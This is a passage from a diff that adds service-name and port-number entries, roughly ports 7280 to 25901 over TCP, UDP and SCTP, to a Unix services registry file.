ITACTIONSERVER 1 +itactionserver1 7280/udp ITACTIONSERVER 1 +itactionserver2 7281/tcp ITACTIONSERVER 2 +itactionserver2 7281/udp ITACTIONSERVER 2 +swx 7300-7390 The Swiss Exchange +mindfilesys 7391/tcp mind-file system server +mindfilesys 7391/udp mind-file system server +mrssrendezvous 7392/tcp mrss-rendezvous server +mrssrendezvous 7392/udp mrss-rendezvous server +winqedit 7395/tcp winqedit +winqedit 7395/udp winqedit +pmdmgr 7426/tcp OpenView DM Postmaster Manager +pmdmgr 7426/udp OpenView DM Postmaster Manager +oveadmgr 7427/tcp OpenView DM Event Agent Manager +oveadmgr 7427/udp OpenView DM Event Agent Manager +ovladmgr 7428/tcp OpenView DM Log Agent Manager +ovladmgr 7428/udp OpenView DM Log Agent Manager +opi-sock 7429/tcp OpenView DM rqt communication +opi-sock 7429/udp OpenView DM rqt communication +xmpv7 7430/tcp OpenView DM xmpv7 api pipe +xmpv7 7430/udp OpenView DM xmpv7 api pipe +pmd 7431/tcp OpenView DM ovc/xmpv3 api pipe +pmd 7431/udp OpenView DM ovc/xmpv3 api pipe +faximum 7437/tcp Faximum +faximum 7437/udp Faximum +telops-lmd 7491/tcp telops-lmd +telops-lmd 7491/udp telops-lmd +silhouette 7500/tcp Silhouette User +silhouette 7500/udp Silhouette User +ovbus 7501/tcp HP OpenView Bus Daemon +ovbus 7501/udp HP OpenView Bus Daemon +ovhpas 7510/tcp HP OpenView Application Server +ovhpas 7510/udp HP OpenView Application Server +pafec-lm 7511/tcp pafec-lm +pafec-lm 7511/udp pafec-lm +nta-ds 7544/tcp FlowAnalyzer DisplayServer +nta-ds 7544/udp FlowAnalyzer DisplayServer +nta-us 7545/tcp FlowAnalyzer UtilityServer +nta-us 7545/udp FlowAnalyzer UtilityServer +vsi-omega 7566/tcp VSI Omega +vsi-omega 7566/udp VSI Omega +aries-kfinder 7570/tcp Aries Kfinder +aries-kfinder 7570/udp Aries Kfinder +sun-lm 7588/tcp Sun License Manager +sun-lm 7588/udp Sun License Manager +indi 7624/tcp Instrument Neutral Distributed Interface +indi 7624/udp Instrument Neutral Distributed Interface +pmdfmgt 7633/tcp PMDF Management +pmdfmgt 7633/udp PMDF Management +imqtunnels 7674/tcp iMQ SSL tunnel +imqtunnels 7674/udp iMQ SSL tunnel +imqtunnel 7675/tcp iMQ Tunnel +imqtunnel 7675/udp iMQ Tunnel +imqbrokerd 7676/tcp iMQ Broker Rendezvous +imqbrokerd 7676/udp iMQ Broker Rendezvous +medimageportal 7720/tcp MedImage Portal +medimageportal 7720/udp MedImage Portal +sstp-1 7743/tcp Sakura Script Transfer Protocol +sstp-1 7743/udp Sakura Script Transfer Protocol +cbt 7777/tcp cbt +cbt 7777/udp cbt +interwise 7778/tcp Interwise +interwise 7778/udp Interwise +vstat 7779/tcp VSTAT +vstat 7779/udp VSTAT +accu-lmgr 7781/tcp accu-lmgr +accu-lmgr 7781/udp accu-lmgr +minivend 7786/tcp MINIVEND +minivend 7786/udp MINIVEND +pnet-conn 7797/tcp Propel Connector port +pnet-conn 7797/udp Propel Connector port +pnet-enc 7798/tcp Propel Encoder port +pnet-enc 7798/udp Propel Encoder port +apc-7845 7845/tcp APC 7845 +apc-7845 7845/udp APC 7845 +apc-7846 7846/tcp APC 7846 +apc-7846 7846/udp APC 7846 +qo-secure 7913/tcp QuickObjects secure port +qo-secure 7913/udp QuickObjects secure port +t2-drm 7932/tcp Tier 2 Data Resource Manager +t2-drm 7932/udp Tier 2 Data Resource Manager +t2-brm 7933/tcp Tier 2 Business Rules Manager +t2-brm 7933/udp Tier 2 Business Rules Manager +supercell 7967/tcp Supercell +supercell 7967/udp Supercell +micromuse-ncps 7979/tcp Micromuse-ncps +micromuse-ncps 7979/udp Micromuse-ncps +quest-vista 7980/tcp Quest Vista +quest-vista 7980/udp Quest Vista +irdmi2 7999/tcp iRDMI2 +irdmi2 7999/udp iRDMI2 +irdmi 8000/tcp iRDMI +irdmi 8000/udp iRDMI +vcom-tunnel 8001/tcp VCOM Tunnel +vcom-tunnel 8001/udp VCOM Tunnel +teradataordbms 8002/tcp Teradata ORDBMS +teradataordbms 8002/udp Teradata ORDBMS +http-alt 8008/tcp HTTP Alternate +http-alt 8008/udp HTTP Alternate +oa-system 8022/tcp oa-system +oa-system 8022/udp oa-system +pro-ed 8032/tcp ProEd +pro-ed 8032/udp ProEd +mindprint 8033/tcp MindPrint +mindprint 8033/udp MindPrint +http-alt 8080/tcp HTTP Alternate (see port 80) +http-alt 8080/udp HTTP Alternate (see port 80) +radan-http 8088/tcp Radan HTTP +radan-http 8088/udp Radan HTTP +xprint-server 8100/tcp Xprint Server +xprint-server 8100/udp Xprint Server +mtl8000-matrix 8115/tcp MTL8000 Matrix +mtl8000-matrix 8115/udp MTL8000 Matrix +cp-cluster 8116/tcp Check Point Clustering +cp-cluster 8116/udp Check Point Clustering +privoxy 8118/tcp Privoxy HTTP proxy +privoxy 8118/udp Privoxy HTTP proxy +apollo-data 8121/tcp Apollo Data Port +apollo-data 8121/udp Apollo Data Port +apollo-admin 8122/tcp Apollo Admin Port +apollo-admin 8122/udp Apollo Admin Port +indigo-vrmi 8130/tcp INDIGO-VRMI +indigo-vrmi 8130/udp INDIGO-VRMI +indigo-vbcp 8131/tcp INDIGO-VBCP +indigo-vbcp 8131/udp INDIGO-VBCP +dbabble 8132/tcp dbabble +dbabble 8132/udp dbabble +patrol 8160/tcp Patrol +patrol 8160/udp Patrol +patrol-snmp 8161/tcp Patrol SNMP +patrol-snmp 8161/udp Patrol SNMP +vvr-data 8199/tcp VVR DATA +vvr-data 8199/udp VVR DATA +trivnet1 8200/tcp TRIVNET +trivnet1 8200/udp TRIVNET +trivnet2 8201/tcp TRIVNET +trivnet2 8201/udp TRIVNET +lm-perfworks 8204/tcp LM Perfworks +lm-perfworks 8204/udp LM Perfworks +lm-instmgr 8205/tcp LM Instmgr +lm-instmgr 8205/udp LM Instmgr +lm-dta 8206/tcp LM Dta +lm-dta 8206/udp LM Dta +lm-sserver 8207/tcp LM SServer +lm-sserver 8207/udp LM SServer +lm-webwatcher 8208/tcp LM Webwatcher +lm-webwatcher 8208/udp LM Webwatcher +server-find 8351/tcp Server Find +server-find 8351/udp Server Find +cruise-enum 8376/tcp Cruise ENUM +cruise-enum 8376/udp Cruise ENUM +cruise-swroute 8377/tcp Cruise SWROUTE +cruise-swroute 8377/udp Cruise SWROUTE +cruise-config 8378/tcp Cruise CONFIG +cruise-config 8378/udp Cruise CONFIG +cruise-diags 8379/tcp Cruise DIAGS +cruise-diags 8379/udp Cruise DIAGS +cruise-update 8380/tcp Cruise UPDATE +cruise-update 8380/udp Cruise UPDATE +cvd 8400/tcp cvd +cvd 8400/udp cvd +sabarsd 8401/tcp sabarsd +sabarsd 8401/udp sabarsd +abarsd 8402/tcp abarsd +abarsd 8402/udp abarsd +admind 8403/tcp admind +admind 8403/udp admind +espeech 8416/tcp eSpeech Session Protocol +espeech 8416/udp eSpeech Session Protocol +espeech-rtp 8417/tcp eSpeech RTP Protocol +espeech-rtp 8417/udp eSpeech RTP Protocol +pcsync-https 8443/tcp PCsync HTTPS +pcsync-https 8443/udp PCsync HTTPS +pcsync-http 8444/tcp PCsync HTTP +pcsync-http 8444/udp PCsync HTTP +npmp 8450/tcp npmp +npmp 8450/udp npmp +vp2p 8473/tcp Virtual Point to Point +vp2p 8473/udp Virtual Point to Point +fde 8500/tcp Flight Data Exchange +fde 8500/udp Flight Data Exchange +rtsp-alt 8554/tcp RTSP Alternate (see port 554) +rtsp-alt 8554/udp RTSP Alternate (see port 554) +d-fence 8555/tcp SYMAX D-FENCE +d-fence 8555/udp SYMAX D-FENCE +canon-bjnp1 8611/tcp Canon BJNP Port 1 +canon-bjnp1 8611/udp Canon BJNP Port 1 +canon-bjnp2 8612/tcp Canon BJNP Port 2 +canon-bjnp2 8612/udp Canon BJNP Port 2 +canon-bjnp3 8613/tcp Canon BJNP Port 3 +canon-bjnp3 8613/udp Canon BJNP Port 3 +canon-bjnp4 8614/tcp Canon BJNP Port 4 +canon-bjnp4 8614/udp Canon BJNP Port 4 +ibus 8733/tcp iBus +ibus 8733/udp iBus +mc-appserver 8763/tcp MC-APPSERVER +mc-appserver 8763/udp MC-APPSERVER +openqueue 8764/tcp OPENQUEUE +openqueue 8764/udp OPENQUEUE +ultraseek-http 8765/tcp Ultraseek HTTP +ultraseek-http 8765/udp Ultraseek HTTP +msgclnt 8786/tcp Message Client +msgclnt 8786/udp Message Client +msgsrvr 8787/tcp Message Server +msgsrvr 8787/udp Message Server +truecm 8804/tcp truecm +truecm 8804/udp truecm +cddbp-alt 8880/tcp CDDBP +cddbp-alt 8880/udp CDDBP +ddi-tcp-1 8888/tcp NewsEDGE server TCP (TCP 1) +ddi-udp-1 8888/udp NewsEDGE server UDP (UDP 1) +ddi-tcp-2 8889/tcp Desktop Data TCP 1 +ddi-udp-2 8889/udp NewsEDGE server broadcast +ddi-tcp-3 8890/tcp Desktop Data TCP 2 +ddi-udp-3 8890/udp NewsEDGE client broadcast +ddi-tcp-4 8891/tcp Desktop Data TCP 3: NESS application +ddi-udp-4 8891/udp Desktop Data UDP 3: NESS application +ddi-tcp-5 8892/tcp Desktop Data TCP 4: FARM product +ddi-udp-5 8892/udp Desktop Data UDP 4: FARM product +ddi-tcp-6 8893/tcp Desktop Data TCP 5: NewsEDGE/Web application +ddi-udp-6 8893/udp Desktop Data UDP 5: NewsEDGE/Web application +ddi-tcp-7 8894/tcp Desktop Data TCP 6: COAL application +ddi-udp-7 8894/udp Desktop Data UDP 6: COAL application +jmb-cds1 8900/tcp JMB-CDS 1 +jmb-cds1 8900/udp JMB-CDS 1 +jmb-cds2 8901/tcp JMB-CDS 2 +jmb-cds2 8901/udp JMB-CDS 2 +manyone-http 8910/tcp manyone-http +manyone-http 8910/udp manyone-http +manyone-xml 8911/tcp manyone-xml +manyone-xml 8911/udp manyone-xml +cumulus-admin 8954/tcp Cumulus Admin Port +cumulus-admin 8954/udp Cumulus Admin Port +bctp 8999/tcp Brodos Crypto Trade Protocol +bctp 8999/udp Brodos Crypto Trade Protocol +cslistener 9000/tcp CSlistener +cslistener 9000/udp CSlistener +etlservicemgr 9001/tcp ETL Service Manager +etlservicemgr 9001/udp ETL Service Manager +dynamid 9002/tcp DynamID authentication +dynamid 9002/udp DynamID authentication +tambora 9020/tcp TAMBORA +tambora 9020/udp TAMBORA +panagolin-ident 9021/tcp Pangolin Identification +panagolin-ident 9021/udp Pangolin Identification +paragent 9022/tcp PrivateArk Remote Agent +paragent 9022/udp PrivateArk Remote Agent +swa-1 9023/tcp Secure Web Access - 1 +swa-1 9023/udp Secure Web Access - 1 +swa-2 9024/tcp Secure Web Access - 2 +swa-2 9024/udp Secure Web Access - 2 +swa-3 9025/tcp Secure Web Access - 3 +swa-3 9025/udp Secure Web Access - 3 +swa-4 9026/tcp Secure Web Access - 4 +swa-4 9026/udp Secure Web Access - 4 +glrpc 9080/tcp Groove GLRPC +glrpc 9080/udp Groove GLRPC +websm 9090/tcp WebSM +websm 9090/udp WebSM +xmltec-xmlmail 9091/tcp xmltec-xmlmail +xmltec-xmlmail 9091/udp xmltec-xmlmail +hp-pdl-datastr 9100/tcp PDL Data Streaming Port +hp-pdl-datastr 9100/udp PDL Data Streaming Port +pdl-datastream 9100/tcp Printer PDL Data Stream +pdl-datastream 9100/udp Printer PDL Data Stream +bacula-dir 9101/tcp Bacula Director +bacula-dir 9101/udp Bacula Director +bacula-fd 9102/tcp Bacula File Daemon +bacula-fd 9102/udp Bacula File Daemon +bacula-sd 9103/tcp Bacula Storage Daemon +bacula-sd 9103/udp Bacula Storage Daemon +peerwire 9104/tcp PeerWire +peerwire 9104/udp PeerWire +netlock1 9160/tcp NetLOCK1 +netlock1 9160/udp NetLOCK1 +netlock2 9161/tcp NetLOCK2 +netlock2 9161/udp NetLOCK2 +netlock3 9162/tcp NetLOCK3 +netlock3 9162/udp NetLOCK3 +netlock4 9163/tcp NetLOCK4 +netlock4 9163/udp NetLOCK4 +netlock5 9164/tcp NetLOCK5 +netlock5 9164/udp NetLOCK5 +wap-wsp 9200/tcp WAP connectionless session service +wap-wsp 9200/udp WAP connectionless session service +wap-wsp-wtp 9201/tcp WAP session service +wap-wsp-wtp 9201/udp WAP session service +wap-wsp-s 9202/tcp WAP secure connectionless session service +wap-wsp-s 9202/udp WAP secure connectionless session service +wap-wsp-wtp-s 9203/tcp WAP secure session service +wap-wsp-wtp-s 9203/udp WAP secure session service +wap-vcard 9204/tcp WAP vCard +wap-vcard 9204/udp WAP vCard +wap-vcal 9205/tcp WAP vCal +wap-vcal 9205/udp WAP vCal +wap-vcard-s 9206/tcp WAP vCard Secure +wap-vcard-s 9206/udp WAP vCard Secure +wap-vcal-s 9207/tcp WAP vCal Secure +wap-vcal-s 9207/udp WAP vCal Secure +oma-mlp 9210/tcp OMA Mobile Location Protocol +oma-mlp 9210/udp OMA Mobile Location Protocol +oma-mlp-s 9211/tcp OMA Mobile Location Protocol Secure +oma-mlp-s 9211/udp OMA Mobile Location Protocol Secure +fsc-port 9217/tcp FSC Communication Port +fsc-port 9217/udp FSC Communication Port +swtp-port1 9281/tcp SofaWare transport port 1 +swtp-port1 9281/udp SofaWare transport port 1 +swtp-port2 9282/tcp SofaWare transport port 2 +swtp-port2 9282/udp SofaWare transport port 2 +callwaveiam 9283/tcp CallWaveIAM +callwaveiam 9283/udp CallWaveIAM +visd 9284/tcp VERITAS Information Serve +visd 9284/udp VERITAS Information Serve +n2h2server 9285/tcp N2H2 Filter Service Port +n2h2server 9285/udp N2H2 Filter Service Port +cumulus 9287/tcp Cumulus +cumulus 9287/udp Cumulus +armtechdaemon 9292/tcp ArmTech Daemon +armtechdaemon 9292/udp ArmTech Daemon +guibase 9321/tcp guibase +guibase 9321/udp guibase +mpidcmgr 9343/tcp MpIdcMgr +mpidcmgr 9343/udp MpIdcMgr +mphlpdmc 9344/tcp Mphlpdmc +mphlpdmc 9344/udp Mphlpdmc +ctechlicensing 9346/tcp C Tech Licensing +ctechlicensing 9346/udp C Tech Licensing +fjdmimgr 9374/tcp fjdmimgr +fjdmimgr 9374/udp fjdmimgr +fjinvmgr 9396/tcp fjinvmgr +fjinvmgr 9396/udp fjinvmgr +mpidcagt 9397/tcp MpIdcAgt +mpidcagt 9397/udp MpIdcAgt +ismserver 9500/tcp ismserver +ismserver 9500/udp ismserver +mngsuite 9535/tcp Management Suite Remote Control +mngsuite 9535/udp Management Suite Remote Control +msgsys 9594/tcp Message System +msgsys 9594/udp Message System +pds 9595/tcp Ping Discovery Service +pds 9595/udp Ping Discovery Service +micromuse-ncpw 9600/tcp MICROMUSE-NCPW +micromuse-ncpw 9600/udp MICROMUSE-NCPW +streamcomm-ds 9612/tcp StreamComm User Directory +streamcomm-ds 9612/udp StreamComm User Directory +l5nas-parchan 9747/tcp L5NAS Parallel Channel +l5nas-parchan 9747/udp L5NAS Parallel Channel +rasadv 9753/tcp rasadv +rasadv 9753/udp rasadv +davsrc 9800/tcp WebDav Source Port +davsrc 9800/udp WebDav Source Port +sstp-2 9801/tcp Sakura Script Transfer Protocol-2 +sstp-2 9801/udp Sakura Script Transfer Protocol-2 +davsrcs 9802/tcp WebDAV Source TLS/SSL +davsrcs 9802/udp WebDAV Source TLS/SSL +sapv1 9875/tcp Session Announcement v1 +sapv1 9875/udp Session Announcement v1 +sd 9876/tcp Session Director +sd 9876/udp Session Director +cyborg-systems 9888/tcp CYBORG Systems +cyborg-systems 9888/udp CYBORG Systems +monkeycom 9898/tcp MonkeyCom +monkeycom 9898/udp MonkeyCom +sctp-tunneling 9899/tcp SCTP TUNNELING +sctp-tunneling 9899/udp SCTP TUNNELING +iua 9900/tcp IUA +iua 9900/udp IUA +iua 9900/sctp IUA +domaintime 9909/tcp domaintime +domaintime 9909/udp domaintime +sype-transport 9911/tcp SYPECom Transport Protocol +sype-transport 9911/udp SYPECom Transport Protocol +apc-9950 9950/tcp APC 9950 +apc-9950 9950/udp APC 9950 +apc-9951 9951/tcp APC 9951 +apc-9951 9951/udp APC 9951 +apc-9952 9952/tcp APC 9952 +apc-9952 9952/udp APC 9952 +osm-appsrvr 9990/tcp OSM Applet Server +osm-appsrvr 9990/udp OSM Applet Server +osm-oev 9991/tcp OSM Event Server +osm-oev 9991/udp OSM Event Server +palace-1 9992/tcp OnLive-1 +palace-1 9992/udp OnLive-1 +palace-2 9993/tcp OnLive-2 +palace-2 9993/udp OnLive-2 +palace-3 9994/tcp OnLive-3 +palace-3 9994/udp OnLive-3 +palace-4 9995/tcp Palace-4 +palace-4 9995/udp Palace-4 +palace-5 9996/tcp Palace-5 +palace-5 9996/udp Palace-5 +palace-6 9997/tcp Palace-6 +palace-6 9997/udp Palace-6 +distinct32 9998/tcp Distinct32 +distinct32 9998/udp Distinct32 +distinct 9999/tcp distinct +distinct 9999/udp distinct +ndmp 10000/tcp Network Data Management Protocol +ndmp 10000/udp Network Data Management Protocol +scp-config 10001/tcp SCP Configuration Port +scp-config 10001/udp SCP Configuration Port +mvs-capacity 10007/tcp MVS Capacity +mvs-capacity 10007/udp MVS Capacity +octopus 10008/tcp Octopus Multiplexer +octopus 10008/udp Octopus Multiplexer +amanda 10080/tcp Amanda +amanda 10080/udp Amanda +itap-ddtp 10100/tcp VERITAS ITAP DDTP +itap-ddtp 10100/udp VERITAS ITAP DDTP +ezmeeting-2 10101/tcp eZmeeting +ezmeeting-2 10101/udp eZmeeting +ezproxy-2 10102/tcp eZproxy +ezproxy-2 10102/udp eZproxy +ezrelay 10103/tcp eZrelay +ezrelay 10103/udp eZrelay +bctp-server 10107/tcp VERITAS BCTP, server +bctp-server 10107/udp VERITAS BCTP, server +netiq-endpoint 10113/tcp NetIQ Endpoint +netiq-endpoint 10113/udp NetIQ Endpoint +netiq-qcheck 10114/tcp NetIQ Qcheck +netiq-qcheck 10114/udp NetIQ Qcheck +netiq-endpt 10115/tcp NetIQ Endpoint +netiq-endpt 10115/udp NetIQ Endpoint +netiq-voipa 10116/tcp NetIQ VoIP Assessor +netiq-voipa 10116/udp NetIQ VoIP Assessor +bmc-perf-sd 10128/tcp BMC-PERFORM-SERVICE DAEMON +bmc-perf-sd 10128/udp BMC-PERFORM-SERVICE DAEMON +apollo-relay 10252/tcp Apollo Relay Port +apollo-relay 10252/udp Apollo Relay Port +axis-wimp-port 10260/tcp Axis WIMP Port +axis-wimp-port 10260/udp Axis WIMP Port +blocks 10288/tcp Blocks +blocks 10288/udp Blocks +rmiaux 10990/tcp Auxiliary RMI Port +rmiaux 10990/udp Auxiliary RMI Port +irisa 11000/tcp IRISA +irisa 11000/udp IRISA +metasys 11001/tcp Metasys +metasys 11001/udp Metasys +vce 11111/tcp Viral Computing Environment (VCE) +vce 11111/udp Viral Computing Environment (VCE) +smsqp 11201/tcp smsqp +smsqp 11201/udp smsqp +imip 11319/tcp IMIP +imip 11319/udp IMIP +imip-channels 11320/tcp IMIP Channels Port +imip-channels 11320/udp IMIP Channels Port +arena-server 11321/tcp Arena Server Listen +arena-server 11321/udp Arena Server Listen +atm-uhas 11367/tcp ATM UHAS +atm-uhas 11367/udp ATM UHAS +hkp 11371/tcp OpenPGP HTTP Keyserver +hkp 11371/udp OpenPGP HTTP Keyserver +tempest-port 11600/tcp Tempest Protocol Port +tempest-port 11600/udp Tempest Protocol Port +h323callsigalt 11720/tcp h323 Call Signal Alternate +h323callsigalt 11720/udp h323 Call Signal Alternate +intrepid-ssl 11751/tcp Intrepid SSL +intrepid-ssl 11751/udp Intrepid SSL +sysinfo-sp 11967/tcp SysInfo Service Protocol +sysinfo-sp 11967/udp SysInfo Sercice Protocol +entextxid 12000/tcp IBM Enterprise Extender SNA XID Exchange +entextxid 12000/udp IBM Enterprise Extender SNA XID Exchange +entextnetwk 12001/tcp IBM Enterprise Extender SNA COS Network Priority +entextnetwk 12001/udp IBM Enterprise Extender SNA COS Network Priority +entexthigh 12002/tcp IBM Enterprise Extender SNA COS High Priority +entexthigh 12002/udp IBM Enterprise Extender SNA COS High Priority +entextmed 12003/tcp IBM Enterprise Extender SNA COS Medium Priority +entextmed 12003/udp IBM Enterprise Extender SNA COS Medium Priority +entextlow 12004/tcp IBM Enterprise Extender SNA COS Low Priority +entextlow 12004/udp IBM Enterprise Extender SNA COS Low Priority +dbisamserver1 12005/tcp DBISAM Database Server - Regular +dbisamserver1 12005/udp DBISAM Database Server - Regular +dbisamserver2 12006/tcp DBISAM Database Server - Admin +dbisamserver2 12006/udp DBISAM Database Server - Admin +rets-ssl 12109/tcp RETS over SSL +rets-ssl 12109/udp RETS over SSL +hivep 12172/tcp HiveP +hivep 12172/udp HiveP +italk 12345/tcp Italk Chat System +italk 12345/udp Italk Chat System +tsaf 12753/tcp tsaf port +tsaf 12753/udp tsaf port +i-zipqd 13160/tcp I-ZIPQD +i-zipqd 13160/udp I-ZIPQD +powwow-client 13223/tcp PowWow Client +powwow-client 13223/udp PowWow Client +powwow-server 13224/tcp PowWow Server +powwow-server 13224/udp PowWow Server +bprd 13720/tcp BPRD Protocol (VERITAS NetBackup) +bprd 13720/udp BPRD Protocol (VERITAS NetBackup) +bpdbm 13721/tcp BPDBM Protocol (VERITAS NetBackup) +bpdbm 13721/udp BPDBM Protocol (VERITAS NetBackup) +bpjava-msvc 13722/tcp BP Java MSVC Protocol +bpjava-msvc 13722/udp BP Java MSVC Protocol +vnetd 13724/tcp Veritas Network Utility +vnetd 13724/udp Veritas Network Utility +bpcd 13782/tcp VERITAS NetBackup +bpcd 13782/udp VERITAS NetBackup +vopied 13783/tcp VOPIED Protocol +vopied 13783/udp VOPIED Protocol +dsmcc-config 13818/tcp DSMCC Config +dsmcc-config 13818/udp DSMCC Config +dsmcc-session 13819/tcp DSMCC Session Messages +dsmcc-session 13819/udp DSMCC Session Messages +dsmcc-passthru 13820/tcp DSMCC Pass-Thru Messages +dsmcc-passthru 13820/udp DSMCC Pass-Thru Messages +dsmcc-download 13821/tcp DSMCC Download Protocol +dsmcc-download 13821/udp DSMCC Download Protocol +dsmcc-ccp 13822/tcp DSMCC Channel Change Protocol +dsmcc-ccp 13822/udp DSMCC Channel Change Protocol +sua 14001/tcp SUA +sua 14001/udp De-Registered (2001 June 06) +sua 14001/sctp SUA +sage-best-com1 14033/tcp sage Best! Config Server 1 +sage-best-com1 14033/udp sage Best! Config Server 1 +sage-best-com2 14034/tcp sage Best! Config Server 2 +sage-best-com2 14034/udp sage Best! Config Server 2 +vcs-app 14141/tcp VCS Application +vcs-app 14141/udp VCS Application +gcm-app 14145/tcp GCM Application +gcm-app 14145/udp GCM Application +vrts-tdd 14149/tcp Veritas Traffic Director +vrts-tdd 14149/udp Veritas Traffic Director +hde-lcesrvr-1 14936/tcp hde-lcesrvr-1 +hde-lcesrvr-1 14936/udp hde-lcesrvr-1 +hde-lcesrvr-2 14937/tcp hde-lcesrvr-2 +hde-lcesrvr-2 14937/udp hde-lcesrvr-2 +hydap 15000/tcp Hypack Data Aquisition +hydap 15000/udp Hypack Data Aquisition +xpilot 15345/tcp XPilot Contact Port +xpilot 15345/udp XPilot Contact Port +3link 15363/tcp 3Link Negotiation +3link 15363/udp 3Link Negotiation +sun-sea-port 16161/tcp Solaris SEA Port +sun-sea-port 16161/udp Solaris SEA Port +netserialext1 16360/tcp netserialext1 +netserialext1 16360/udp netserialext1 +netserialext2 16361/tcp netserialext2 +netserialext2 16361/udp netserialext2 +netserialext3 16367/tcp netserialext3 +netserialext3 16367/udp netserialext3 +netserialext4 16368/tcp netserialext4 +netserialext4 16368/udp netserialext4 +connected 16384/tcp Connected Corp +connected 16384/udp Connected Corp +intel-rci-mp 16991/tcp INTEL-RCI-MP +intel-rci-mp 16991/udp INTEL-RCI-MP +isode-dua 17007/tcp +isode-dua 17007/udp +soundsvirtual 17185/tcp Sounds Virtual +soundsvirtual 17185/udp Sounds Virtual +chipper 17219/tcp Chipper +chipper 17219/udp Chipper +biimenu 18000/tcp Beckman Instruments, Inc. +biimenu 18000/udp Beckman Instruments, Inc. +opsec-cvp 18181/tcp OPSEC CVP +opsec-cvp 18181/udp OPSEC CVP +opsec-ufp 18182/tcp OPSEC UFP +opsec-ufp 18182/udp OPSEC UFP +opsec-sam 18183/tcp OPSEC SAM +opsec-sam 18183/udp OPSEC SAM +opsec-lea 18184/tcp OPSEC LEA +opsec-lea 18184/udp OPSEC LEA +opsec-omi 18185/tcp OPSEC OMI +opsec-omi 18185/udp OPSEC OMI +ohsc 18186/tcp Occupational Health SC +ohsc 18186/udp Occupational Health Sc +opsec-ela 18187/tcp OPSEC ELA +opsec-ela 18187/udp OPSEC ELA +checkpoint-rtm 18241/tcp Check Point RTM +checkpoint-rtm 18241/udp Check Point RTM +ac-cluster 18463/tcp AC Cluster +ac-cluster 18463/udp AC Cluster +ique 18769/tcp IQue Protocol +ique 18769/udp IQue Protocol +apc-necmp 18888/tcp APCNECMP +apc-necmp 18888/udp APCNECMP +opsec-uaa 19191/tcp OPSEC UAA +opsec-uaa 19191/udp OPSEC UAA +ua-secureagent 19194/tcp UserAuthority SecureAgent +ua-secureagent 19194/udp UserAuthority SecureAgent +keysrvr 19283/tcp Key Server for SASSAFRAS +keysrvr 19283/udp Key Server for SASSAFRAS +keyshadow 19315/tcp Key Shadow for SASSAFRAS +keyshadow 19315/udp Key Shadow for SASSAFRAS +mtrgtrans 19398/tcp mtrgtrans +mtrgtrans 19398/udp mtrgtrans +hp-sco 19410/tcp hp-sco +hp-sco 19410/udp hp-sco +hp-sca 19411/tcp hp-sca +hp-sca 19411/udp hp-sca +hp-sessmon 19412/tcp HP-SESSMON +hp-sessmon 19412/udp HP-SESSMON +sxuptp 19540/tcp SXUPTP +sxuptp 19540/udp SXUPTP +jcp 19541/tcp JCP Client +jcp 19541/udp JCP Client +dnp 20000/tcp DNP +dnp 20000/udp DNP +microsan 20001/tcp MicroSAN +microsan 20001/udp MicroSAN +nburn_id 20034/tcp NetBurner ID Port +nburn_id 20034/udp NetBurner ID Port +ipdtp-port 20202/tcp IPD Tunneling Port +ipdtp-port 20202/udp IPD Tunneling Port +ipulse-ics 20222/tcp iPulse-ICS +ipulse-ics 20222/udp iPulse-ICS +track 20670/tcp Track +track 20670/udp Track +athand-mmp 20999/tcp At Hand MMP +athand-mmp 20999/udp AT Hand MMP +vofr-gateway 21590/tcp VoFR Gateway +vofr-gateway 21590/udp VoFR Gateway +tvpm 21800/tcp TVNC Pro Multiplexing +tvpm 21800/udp TVNC Pro Multiplexing +webphone 21845/tcp webphone +webphone 21845/udp webphone +netspeak-is 21846/tcp NetSpeak Corp. Directory Services +netspeak-is 21846/udp NetSpeak Corp. Directory Services +netspeak-cs 21847/tcp NetSpeak Corp. Connection Services +netspeak-cs 21847/udp NetSpeak Corp. Connection Services +netspeak-acd 21848/tcp NetSpeak Corp. Automatic Call Distribution +netspeak-acd 21848/udp NetSpeak Corp. Automatic Call Distribution +netspeak-cps 21849/tcp NetSpeak Corp. Credit Processing System +netspeak-cps 21849/udp NetSpeak Corp. Credit Processing System +snapenetio 22000/tcp SNAPenetIO +snapenetio 22000/udp SNAPenetIO +optocontrol 22001/tcp OptoControl +optocontrol 22001/udp OptoControl +wnn6 22273/tcp wnn6 +wnn6 22273/udp wnn6 +vocaltec-wconf 22555/tcp Vocaltec Web Conference +vocaltec-phone 22555/udp Vocaltec Internet Phone +aws-brf 22800/tcp Telerate Information Platform LAN +aws-brf 22800/udp Telerate Information Platform LAN +brf-gw 22951/tcp Telerate Information Platform WAN +brf-gw 22951/udp Telerate Information Platform WAN +med-ltp 24000/tcp med-ltp +med-ltp 24000/udp med-ltp +med-fsp-rx 24001/tcp med-fsp-rx +med-fsp-rx 24001/udp med-fsp-rx +med-fsp-tx 24002/tcp med-fsp-tx +med-fsp-tx 24002/udp med-fsp-tx +med-supp 24003/tcp med-supp +med-supp 24003/udp med-supp +med-ovw 24004/tcp med-ovw +med-ovw 24004/udp med-ovw +med-ci 24005/tcp med-ci +med-ci 24005/udp med-ci +med-net-svc 24006/tcp med-net-svc +med-net-svc 24006/udp med-net-svc +filesphere 24242/tcp fileSphere +filesphere 24242/udp fileSphere +vista-4gl 24249/tcp Vista 4GL +vista-4gl 24249/udp Vista 4GL +intel_rci 24386/tcp Intel RCI +intel_rci 24386/udp Intel RCI +binkp 24554/tcp BINKP +binkp 24554/udp BINKP +flashfiler 24677/tcp FlashFiler +flashfiler 24677/udp FlashFiler +proactivate 24678/tcp Turbopower Proactivate +proactivate 24678/udp Turbopower Proactivate +snip 24922/tcp Simple Net Ident Protocol +snip 24922/udp Simple Net Ident Protocol +icl-twobase1 25000/tcp icl-twobase1 +icl-twobase1 25000/udp icl-twobase1 +icl-twobase2 25001/tcp icl-twobase2 +icl-twobase2 25001/udp icl-twobase2 +icl-twobase3 25002/tcp icl-twobase3 +icl-twobase3 25002/udp icl-twobase3 +icl-twobase4 25003/tcp icl-twobase4 +icl-twobase4 25003/udp icl-twobase4 +icl-twobase5 25004/tcp icl-twobase5 +icl-twobase5 25004/udp icl-twobase5 +icl-twobase6 25005/tcp icl-twobase6 +icl-twobase6 25005/udp icl-twobase6 +icl-twobase7 25006/tcp icl-twobase7 +icl-twobase7 25006/udp icl-twobase7 +icl-twobase8 25007/tcp icl-twobase8 +icl-twobase8 25007/udp icl-twobase8 +icl-twobase9 25008/tcp icl-twobase9 +icl-twobase9 25008/udp icl-twobase9 +icl-twobase10 25009/tcp icl-twobase10 +icl-twobase10 25009/udp icl-twobase10 +vocaltec-hos 25793/tcp Vocaltec Address Server +vocaltec-hos 25793/udp Vocaltec Address Server +niobserver 25901/tcp NIObserver +niobserver 25901/udp NIObserver +niprobe 